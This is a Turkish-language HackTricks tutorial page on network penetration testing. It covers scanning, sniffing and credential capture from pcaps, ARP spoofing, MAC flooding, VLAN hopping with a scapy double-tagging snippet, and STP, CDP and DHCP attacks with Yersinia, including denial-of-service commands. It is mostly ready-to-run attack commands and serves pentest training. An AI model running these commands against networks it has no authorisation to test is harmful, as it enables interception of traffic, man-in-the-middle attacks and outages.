.. | ||
dhcpv6.md | ||
eigrp-attacks.md | ||
glbp-and-hsrp-attacks.md | ||
ids-evasion.md | ||
lateral-vlan-segmentation-bypass.md | ||
network-protocols-explained-esp.md | ||
nmap-summary-esp.md | ||
pentesting-ipv6.md | ||
README.md | ||
spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md | ||
spoofing-ssdp-and-upnp-devices.md |
Ağın Pentest Edilmesi
Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini keşfedin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @hacktricks_live'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Hata avcılığı ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan bir premium hata avcılığı platformu! Bugün bize https://go.intigriti.com/hacktricks adresinden katılın ve $100,000'a kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
Dışarıdan Ana Bilgisayarları Keşfetme
Bu, İnternet'ten yanıt veren IP'leri bulmanın kısa bir bölümü olacak.
Bu durumda birkaç IP kapsamınız var (belki hatta birkaç aralık) ve sadece hangi IP'lerin yanıt verdiğini bulmanız gerekiyor.
ICMP
Bu, bir ana bilgisayarın çalışıp çalışmadığını keşfetmenin en kolay ve en hızlı yoludur.
Bazı ICMP paketleri göndermeyi deneyebilir ve yanıt bekleyebilirsiniz. En kolay yol, sadece bir echo isteği göndermek ve yanıt beklemektir. Bunun için basit bir ping
veya aralıklar için fping
kullanabilirsiniz.
Ayrıca nmap'ı kullanarak diğer türde ICMP paketleri gönderebilirsiniz (bu, yaygın ICMP echo isteği-yanıtına filtrelerden kaçınmanıza yardımcı olacaktır).
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
TCP Port Keşfi
Çoğu zaman tüm türden ICMP paketlerinin filtrelenmiş olduğunu görmek oldukça yaygındır. Ardından, bir ana bilgisayarın açık olup olmadığını kontrol etmek için yapabileceğiniz tek şey açık portları bulmaya çalışmaktır. Her bir ana bilgisayarın 65535 portu vardır, bu nedenle, "büyük" bir kapsama sahipseniz her portu her bir ana bilgisayarın açık olup olmadığını test edemezsiniz, bu çok fazla zaman alacaktır.
Bu durumda ihtiyacınız olan şey, hızlı bir port tarama aracı (masscan) ve daha sık kullanılan portların bir listesidir:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
HTTP Port Discovery
Bu, HTTP hizmetlerini keşfetmeye odaklanmak istediğinizde yararlı olan sadece bir TCP bağlantı noktası keşfidir.
masscan -p80,443,8000-8100,8443 199.66.11.0/24
UDP Port Keşfi
Ayrıca, bir ana bilgisayara daha fazla dikkat etmeniz gerekip gerekmediğine karar vermek için açık UDP portlarını kontrol etmeyi deneyebilirsiniz. UDP hizmetleri genellikle düzenli boş bir UDP sorgu paketine herhangi bir veri ile yanıt vermediğinden, bir portun filtrelenip açık olup olmadığını söylemek zordur. Bu durumu belirlemenin en kolay yolu, çalışan hizmetle ilgili bir paket göndermektir ve hangi hizmetin çalıştığını bilmediğinizden, muhtemelen port numarasına dayanarak en olası hizmeti denemelisiniz:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
Önerilen nmap komutu öncekiyle aynıdır, her bir /24 aralığındaki her ana makinede top 1000 UDP portunu test edecektir, ancak yalnızca bu işlem >20dk sürecektir. Daha hızlı sonuçlar gerekiyorsa udp-proto-scanner kullanabilirsiniz: ./udp-proto-scanner.pl 199.66.11.53/24
Bu, bu UDP sorgularını beklenen bağlantı noktalarına gönderecektir (/24 aralığı için bu yalnızca 1 dakika sürecektir): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
SCTP Port Keşfi
#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>
Wifi Pentest
İşte yazıldığı zaman bilinen tüm Wifi saldırılarının güzel bir rehberini bulabilirsiniz:
{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}
İçeriden Hostları Keşfetme
Ağın içindeyseniz yapmak isteyeceğiniz ilk şeylerden biri diğer hostları keşfetmek olacaktır. Ne kadar gürültü yapmak istediğinize bağlı olarak, farklı eylemler gerçekleştirilebilir:
Pasif
Bağlı bir ağ içindeki hostları pasif olarak keşfetmek için bu araçları kullanabilirsiniz:
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
Aktif
Dışarıdan Ana bilgisayarları keşfetme başlığındaki (TCP/HTTP/UDP/SCTP Port Keşfi) tekniklerin burada da uygulanabileceğini unutmayın.
Ancak, diğer ana bilgisayarlarla aynı ağda olduğunuzdan dolayı, daha fazla şey yapabilirsiniz:
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
Aktif ICMP
Tekniklerin dışarıdan ana bilgisayarları keşfetme bölümünde (ICMP)(./#icmp) yorumlanan teknikler de burada uygulanabilir.
Ancak, diğer ana bilgisayarlarla aynı ağda olduğunuzdan, daha fazla şey yapabilirsiniz:
- Eğer bir alt ağ yayın adresine ping atarsanız, ping her bir ana bilgisayara ulaşmalı ve onlar da size yanıt verebilirler:
ping -b 10.10.5.255
- Ağ yayın adresine ping atarak, diğer alt ağlardaki ana bilgisayarları bile bulabilirsiniz:
ping -b 255.255.255.255
nmap
'in-PE
,-PP
,-PM
bayraklarını kullanarak sırasıyla ICMPv4 echo, zaman damgası ve alt ağ maskesi istekleri göndererek ana bilgisayar keşfi yapabilirsiniz:nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lan, bilgisayarları bir ağ iletisi aracılığıyla açmak için kullanılır. Bilgisayarı açmak için kullanılan sihirli paket, yalnızca bir MAC Dst sağlandığı ve ardından aynı paket içinde **16 kez tekrarlandığı bir pakettir.
Bu tür paketler genellikle bir eternet 0x0842 veya 9 numaralı bağlantı noktasına UDP paketi içinde gönderilir.
Eğer bir [MAC] sağlanmazsa, paket yayın eternetine gönderilir (ve tekrarlanan MAC yayın MAC olacaktır).
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
Hostları Tarama
Taramak istediğiniz tüm IP'leri (harici veya dahili) keşfettikten sonra, farklı işlemler gerçekleştirilebilir.
TCP
- Açık port: SYN --> SYN/ACK --> RST
- Kapalı port: SYN --> RST/ACK
- Filtrelenmiş port: SYN --> [YANIT YOK]
- Filtrelenmiş port: SYN --> ICMP mesajı
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
Bir UDP portunu taramanın 2 seçeneği vardır:
- Bir UDP paketi gönderin ve port kapalı ise yanıt olarak ICMP ulaşılamaz kontrol edin (birçok durumda ICMP filtrelenmiş olabilir, bu yüzden port kapalı veya açık olduğunda herhangi bir bilgi alamayabilirsiniz).
- Bir hizmetten yanıt almak için biçimlendirilmiş datagramlar gönderin (örneğin, DNS, DHCP, TFTP ve diğerleri, nmap-payloads içinde listelenmiştir). Bir yanıt alırsanız, o zaman port açıktır.
Nmap, "-sV" kullanarak her ikisini de karıştıracaktır (UDP taramaları çok yavaştır), ancak UDP taramalarının TCP taramalarından daha yavaş olduğunu unutmayın:
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
SCTP Taraması
SCTP (Akış Kontrol Aktarım Protokolü), TCP (Aktarım Kontrol Protokolü) ve UDP (Kullanıcı Datagram Protokolü) ile birlikte kullanılmak üzere tasarlanmıştır. Temel amacı, telekomünikasyon verilerinin IP ağları üzerinden taşınmasını kolaylaştırmaktır ve SS7 (Sinyalizasyon Sistemi 7)'de bulunan birçok güvenilirlik özelliğini yansıtmaktadır. SCTP, SS7 sinyallerini IP ağları üzerinden taşımak amacıyla geliştirilen SIGTRAN protokol ailesinin temel bir bileşenidir.
SCTP desteği, IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS ve VxWorks gibi çeşitli işletim sistemleri tarafından sağlanmaktadır, bu da telekomünikasyon ve ağ alanında geniş kabul gördüğünü ve kullanışlı olduğunu göstermektedir.
Nmap tarafından SCTP için sunulan iki farklı tarama seçeneği vardır: -sY ve -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
IDS ve IPS kaçınma
{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}
Daha fazla nmap seçeneği
{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}
Dahili IP Adreslerinin Ortaya Çıkarılması
Hatalı yapılandırılmış yönlendiriciler, güvenlik duvarları ve ağ cihazları bazen kamu dışı kaynak adresleri kullanarak ağ taramalarına yanıt verir. tcpdump test sırasında özel adreslerden gelen paketleri tanımlamak için kullanılabilir. Özellikle Kali Linux'ta, paketler genel İnternet'ten erişilebilen eth2 arabiriminde yakalanabilir. Kurulumunuzun bir NAT veya bir Güvenlik Duvarı arkasında olduğunu unutmamak önemlidir, bu tür paketlerin muhtemelen filtrelenmiş olacağını unutmamak önemlidir.
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing
Sniffing, yakalanan çerçeveler ve paketleri inceleyerek IP aralıklarının, alt ağ boyutlarının, MAC adreslerinin ve ana bilgisayar adlarının ayrıntılarını öğrenebilirsiniz. Ağ yanlış yapılandırılmışsa veya anahtarlama kumaşı stres altındaysa, saldırganlar pasif ağ dinleme yoluyla hassas materyalleri yakalayabilirler.
Eğer anahtarlanmış bir Ethernet ağı doğru şekilde yapılandırılmışsa, yalnızca yayın çerçevelerini ve MAC adresiniz için belirlenmiş materyalleri göreceksiniz.
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
Ayrıca, Wireshark'ı GUI olarak kullanarak bir SSH oturumu üzerinden uzaktaki bir makineden paketleri gerçek zamanlı olarak yakalayabilirsiniz.
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap
Bettercap
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
Açık.
Kimlik bilgilerini yakalama
https://github.com/lgandx/PCredz gibi araçları kullanarak kimlik bilgilerini bir pcap dosyasından veya canlı bir arayüzden ayrıştırabilirsiniz.
LAN saldırıları
ARP zehirlemesi
ARP Zehirlemesi, bir makinenin IP'sinin MAC adresinin cihazımızın MAC adresi olduğunu belirten gereksiz ARP yanıtları göndermekten oluşur. Ardından, kurban ARP tablosunu değiştirir ve sahte IP'yi iletmek istediğinde her zaman cihazımıza başvurur.
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
MAC Flooding - CAM taşması
Anahtarlamanın CAM tablosunu aşırı doldurarak farklı kaynak MAC adresleriyle birçok paket gönderin. CAM tablosu dolu olduğunda anahtar, tüm trafiği yayınlayan bir hub gibi davranmaya başlar.
macof -i <interface>
Modern anahtarlar bu zafiyeti gidermiştir.
802.1Q VLAN / DTP Saldırıları
Dinamik Trunking
Dinamik Trunking Protokolü (DTP), anahtar katman protokolü olarak tasarlanmıştır ve anahtarlamayı otomatikleştiren bir sistem sağlar, anahtarların otomatik olarak bağlantı noktalarını trunk modu (Trunk) veya non-trunk moduna seçmelerine izin verir. DTP'nin kullanımı genellikle alt-optimal ağ tasarımının bir göstergesi olarak görülür, bu da trunk'ları yalnızca gerekli olduğu yerlerde manuel olarak yapılandırmanın ve uygun belgelemenin sağlanmasının önemini vurgular.
Varsayılan olarak, anahtar bağlantı noktaları Dinamik Otomatik modunda çalışacak şekilde ayarlanmıştır, yani komşu bir anahtar tarafından teşvik edilirse trunking'i başlatmaya hazırdırlar. Bir güvenlik endişesi, bir pentester veya saldırganın anahtara bağlanıp bir DTP İstenen çerçeve gönderdiğinde ortaya çıkar, bu da bağlantı noktasının trunk moduna girmesini sağlar. Bu eylem saldırganın STP çerçeve analizi aracılığıyla VLAN'ları numaralandırmasına ve sanal arayüzler kurarak VLAN segmentasyonunu atlamasına olanak tanır.
Birçok anahtarın varsayılan olarak DTP'yi içermesi, saldırganların bir anahtarın davranışını taklit ederek tüm VLAN'lardaki trafiğe erişim kazanmasını sağlayabilir. dtpscan.sh betiği, bir arabirimi izlemek için kullanılır ve bir anahtarın Varsayılan, Trunk, Dinamik, Otomatik veya Erişim modunda olup olmadığını ortaya çıkarır - sonuncusu VLAN atlama saldırılarına karşı bağışık tek yapılandırmadır. Bu araç, anahtarın zafiyet durumunu değerlendirir.
Ağ zafiyetinin belirlenmesi durumunda, Yersinia aracı, DTP protokolü aracılığıyla "trunking'i etkinleştirmek" için kullanılabilir, böylece tüm VLAN'lardan paketlerin gözlemlenmesine olanak tanır.
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
VLAN'ları numaralandırmak için DTPHijacking.py** betiği ile DTP İstenen çerçeve oluşturmak da mümkündür.** Betiği hiçbir durumda kesmeyin. Her üç saniyede bir DTP İstenen enjekte eder. Anahtar üzerinde dinamik olarak oluşturulan kiriş kanalları sadece beş dakika boyunca yaşar. Beş dakika sonra kiriş düşer.
sudo python3 DTPHijacking.py --interface eth0
Erişim/İstenilen (0x03) ifadesi, DTP çerçevesinin İstenilen türde olduğunu ve bağlantı noktasına Trunk moduna geçmesini söylediğini belirtir. Ve 802.1Q/802.1Q (0xa5), 802.1Q kapsülleme türünü belirtir.
STP çerçevelerini analiz ederek, VLAN 30 ve VLAN 60'ın varlığını öğreniriz.
Belirli VLAN'ları Hedefleme
VLAN Kimlikleri ve IP değerlerini bildiğinizde, belirli bir VLAN'ı hedeflemek için sanal bir arayüz yapılandırabilirsiniz.
DHCP mevcut değilse, statik bir IP adresi ayarlamak için ifconfig kullanın.
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
Otomatik VLAN Atlama
Tartışılan Dinamik Trunking ve sanal arayüzler oluşturma ve diğer VLAN'lerdeki ana bilgisayarları keşfetme saldırısı, https://github.com/nccgroup/vlan-hopping---frogger aracı tarafından otomatik olarak gerçekleştirilir.
Çift Etiketleme
Bir saldırgan, kurban ana bilgisayarın MAC, IP ve VLAN kimliği değerlerini bildiğinde, belirlenen VLAN ve kurbanın VLAN'ı ile bir çerçeveyi çift etiketleyebilir ve bir paket gönderebilir. Kurban saldırganla geri bağlantı kuramayacağından, saldırgan için en iyi seçenek UDP üzerinden iletişim kurmaktır ve ilginç eylemler gerçekleştirebilen protokollere (örneğin SNMP) erişebilir.
Saldırganın başka bir seçeneği, saldırgan tarafından kontrol edilen ve kurban tarafından erişilebilen bir IP'yi taklit ederek TCP port taraması başlatmaktır (muhtemelen internet aracılığıyla). Daha sonra, saldırgan, ikinci ana bilgisayarında kurbandan gelen bazı paketleri alıp almadığını izleyebilir.
Bu saldırıyı gerçekleştirmek için scapy kullanabilirsiniz: pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Yan Yana VLAN Segmentasyonunu Atlatma
Eğer doğrudan bağlı olduğunuz bir anahtara erişiminiz varsa, ağ içinde VLAN segmentasyonunu atlayabilirsiniz. Basitçe portu trunk moduna (diğer adıyla trunk) geçirin, hedef VLAN'ların kimlikleriyle sanal arayüzler oluşturun ve bir IP adresi yapılandırın. IP adresini dinamik olarak (DHCP) talep edebilir veya statik olarak yapılandırabilirsiniz. Duruma bağlıdır.
{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}
Katman 3 Özel VLAN Atlatma
Misafir kablosuz ağlar gibi belirli ortamlarda, port izolasyonu (ayrıca özel VLAN olarak da bilinir) ayarları, kablosuz erişim noktasına bağlı istemcilerin doğrudan birbirleriyle iletişim kurmasını engellemek için uygulanır. Bununla birlikte, bu izolasyon önlemlerini atlatan bir teknik tanımlanmıştır. Bu teknik, ağ ACL'lerinin eksikliğini veya yanlış yapılandırılmasını kullanarak IP paketlerinin bir yönlendirici aracılığıyla başka bir istemciye ulaşmasını sağlar.
Saldırı, hedef istemcinin IP adresini taşıyan ancak yönlendiricinin MAC adresiyle oluşturulan bir paket oluşturularak gerçekleştirilir. Bu, yönlendiricinin paketi yanlışlıkla hedef istemciye iletmeye yönlendirmesine neden olur. Bu yaklaşım, Kurbanın Erişebildiği Bir Ana Bilgisayarı Kontrol Etme yeteneğinin kullanıldığı Çift Etiketleme Saldırılarında kullanılan yönteme benzer şekilde güvenlik açığını sömürmek için kullanılır.
Saldırının Temel Adımları:
- Paket Oluşturma: Hedef istemcinin IP adresini içerecek şekilde özel olarak oluşturulmuş bir paket.
- Yönlendirici Davranışının Sömürülmesi: Oluşturulan paket yönlendiriciye gönderilir ve yapılandırmadan dolayı paket hedef istemciye yönlendirilir, özel VLAN ayarları tarafından sağlanan izolasyonu atlayarak.
VTP Saldırıları
VTP (VLAN Trunking Protocol), VLAN yönetimini merkezileştirir. VLAN veritabanı bütünlüğünü korumak için revizyon numaralarını kullanır; herhangi bir değişiklik bu numarayı artırır. Anahtarlar, kendi VLAN veritabanlarını güncelleyen daha yüksek revizyon numaralarına sahip yapılandırmaları benimser.
VTP Etki Alanı Rolleri
- VTP Sunucusu: VLAN'ları yönetir - oluşturur, siler, değiştirir. VTP duyurularını etki alanı üyelerine yayınlar.
- VTP İstemcisi: VLAN veritabanını senkronize etmek için VTP duyurularını alır. Bu rol, yerel VLAN yapılandırma değişikliklerinden kısıtlanmıştır.
- VTP Şeffaf: VTP güncellemelerine katılmaz ancak VTP duyurularını ileterek. VTP saldırılarından etkilenmez, sürekli bir sıfır revizyon numarasını korur.
VTP Duyuru Türleri
- Özet Duyuru: Temel etki alanı bilgilerini taşıyan VTP sunucusu tarafından her 300 saniyede bir yayınlanır.
- Alt Küme Duyurusu: VLAN yapılandırma değişikliklerini takiben gönderilir.
- Duyuru İsteği: VTP istemcisi tarafından, genellikle daha yüksek bir yapılandırma revizyon numarası algılandığında bir Özet Duyuru istemek için verilir.
VTP zafiyetleri yalnızca trunk portları aracılığıyla sömürülebilir çünkü VTP duyuruları yalnızca bunlar arasında dolaşır. DTP saldırı senaryoları VTP'ye doğru yönelebilir. Yersinia gibi araçlar, VLAN veritabanını silmeyi amaçlayan VTP saldırılarını kolaylaştırabilir, ağı etkili bir şekilde kesintiye uğratarak.
Not: Bu tartışma VTP sürüm 1'e (VTPv1) aittir.
%% yersinia -G # Launch Yersinia in graphical mode ```
STP Saldırıları
Eğer arabirimlerinizde BPDU çerçevelerini yakalayamıyorsanız, STP saldırısında başarılı olmanız olası değildir.
STP BPDU DoS
Çok sayıda BPDU TCP (Topology Change Notification) veya Conf (topolojinin oluşturulduğunda gönderilen BPDU'lar) göndererek anahtarlar aşırı yüklenir ve doğru şekilde çalışmayı durdururlar.
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
STP TCP Saldırısı
TCP gönderildiğinde, anahtarların CAM tablosu 15 saniye içinde silinir. Sonra, sürekli olarak bu tür paketler gönderiyorsanız, CAM tablosu sürekli olarak yeniden başlatılır (veya her 15 saniyede bir) ve yeniden başlatıldığında anahtar bir hub gibi davranır.
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
STP Kök Saldırısı
Saldırgan, bir anahtarın davranışını taklit ederek ağın STP kökü haline gelir. Daha sonra, daha fazla veri onun üzerinden geçer. Bu durum, iki farklı anahtara bağlı olduğunuzda ilginç hale gelir.
Bu, öncelik değerinin gerçek kök anahtarın gerçek önceliğinden daha düşük olduğunu belirten BPDUs CONF paketleri gönderilerek yapılır.
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
Eğer saldırgan 2 anahtara bağlıysa, yeni ağacın kökü olabilir ve bu anahtarlar arasındaki tüm trafiği üzerinden geçirebilir (bir MITM saldırısı gerçekleştirilecektir).
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
CDP Saldırıları
CISCO Keşif Protokolü (CDP), CISCO cihazları arasındaki iletişim için temel bir öneme sahiptir, cihazların birbirini tanımasına ve yapılandırma detaylarını paylaşmasına olanak tanır.
Pasif Veri Toplama
CDP, tüm portlar aracılığıyla bilgiyi yayınlamak üzere yapılandırılmıştır, bu da bir güvenlik riskine yol açabilir. Bir saldırgan, bir anahtara bağlandığında Wireshark, tcpdump veya Yersinia gibi ağ dinleyicilerini kullanabilir. Bu eylem, ağ cihazı hakkında hassas verileri ortaya çıkarabilir, bunlar arasında modeli ve çalıştırdığı Cisco IOS sürümü bulunmaktadır. Saldırgan daha sonra belirlenen Cisco IOS sürümündeki belirli zafiyetlere odaklanabilir.
CDP Tablosu Taşmasını Tetikleme
Daha agresif bir yaklaşım, meşru CISCO cihazları gibi davranarak anahtarın belleğini aşırı yükleyerek Bir Hizmet Reddi (DoS) saldırısı başlatmayı içerir. Aşağıda, test için tasarlanmış bir ağ aracı olan Yersinia'yı kullanarak böyle bir saldırıyı başlatmak için komut dizisi bulunmaktadır:
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
Bu saldırı sırasında, anahtarın CPU'su ve CDP komşu tablosu ağır bir şekilde yüklenir ve aşırı kaynak tüketiminden dolayı sıklıkla "ağ felci" olarak adlandırılan duruma yol açar.
CDP Kimlik Taklidi Saldırısı
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
Ayrıca scapy kullanabilirsiniz. scapy/contrib
paketini kurduğunuzdan emin olun.
VoIP Saldırıları ve VoIP Hopper Aracı
IoT cihazlarıyla giderek entegre olan VoIP telefonları, özel telefon numaraları aracılığıyla kapıları açma veya termostatları kontrol etme gibi işlevler sunar. Ancak, bu entegrasyon güvenlik riskleri oluşturabilir.
voiphopper aracı, çeşitli ortamlarda (Cisco, Avaya, Nortel, Alcatel-Lucent) bir VoIP telefonunu taklit etmek için tasarlanmıştır. CDP, DHCP, LLDP-MED ve 802.1Q ARP gibi protokoller kullanarak ses ağı VLAN ID'sini keşfeder.
VoIP Hopper, Cisco Discovery Protocol (CDP) için üç mod sunar:
- Sniff Modu (
-c 0
): VLAN ID'sini tanımlamak için ağ paketlerini analiz eder. - Spoof Modu (
-c 1
): Gerçek bir VoIP cihazının paketlerini taklit eden özel paketler oluşturur. - Önceden Yapılmış Paketle Spoof Modu (
-c 2
): Belirli bir Cisco IP telefon modelinin paketlerine benzer paketler gönderir.
Hız için tercih edilen mod üçüncü moddur. Belirtmeniz gerekenler:
- Saldırganın ağ arayüzü (
-i
parametresi). - Taklit edilen VoIP cihazının adı (
-E
parametresi), Cisco adlandırma formatına uygun olmalıdır (örneğin, bir MAC adresini takip eden SEP).
Kurumsal ortamlarda, mevcut bir VoIP cihazını taklit etmek için şunları yapabilirsiniz:
- Telefon üzerindeki MAC etiketini inceleyin.
- Model bilgilerini görüntülemek için telefonun ekran ayarlarına gidin.
- VoIP cihazını bir dizüstü bilgisayara bağlayın ve Wireshark kullanarak CDP isteklerini gözlemleyin.
Üçüncü modda aracı çalıştırmak için örnek bir komut:
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
DHCP Saldırıları
Numaralandırma
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
DoS
DHCP sunucularına karşı gerçekleştirilebilecek iki tür DoS saldırısı vardır. İlk tür, tüm mümkün IP adreslerini kullanacak kadar sahte ana bilgisayar simüle etmek üzerinedir.
Bu saldırı, yalnızca DHCP sunucusunun yanıtlarını görebiliyorsanız ve protokolü tamamlayabiliyorsanız çalışacaktır (Keşfet (Bilgisayar) --> Teklif (sunucu) --> İstek (Bilgisayar) --> Onay (sunucu)). Örneğin, bu, Wifi ağlarında mümkün değildir.
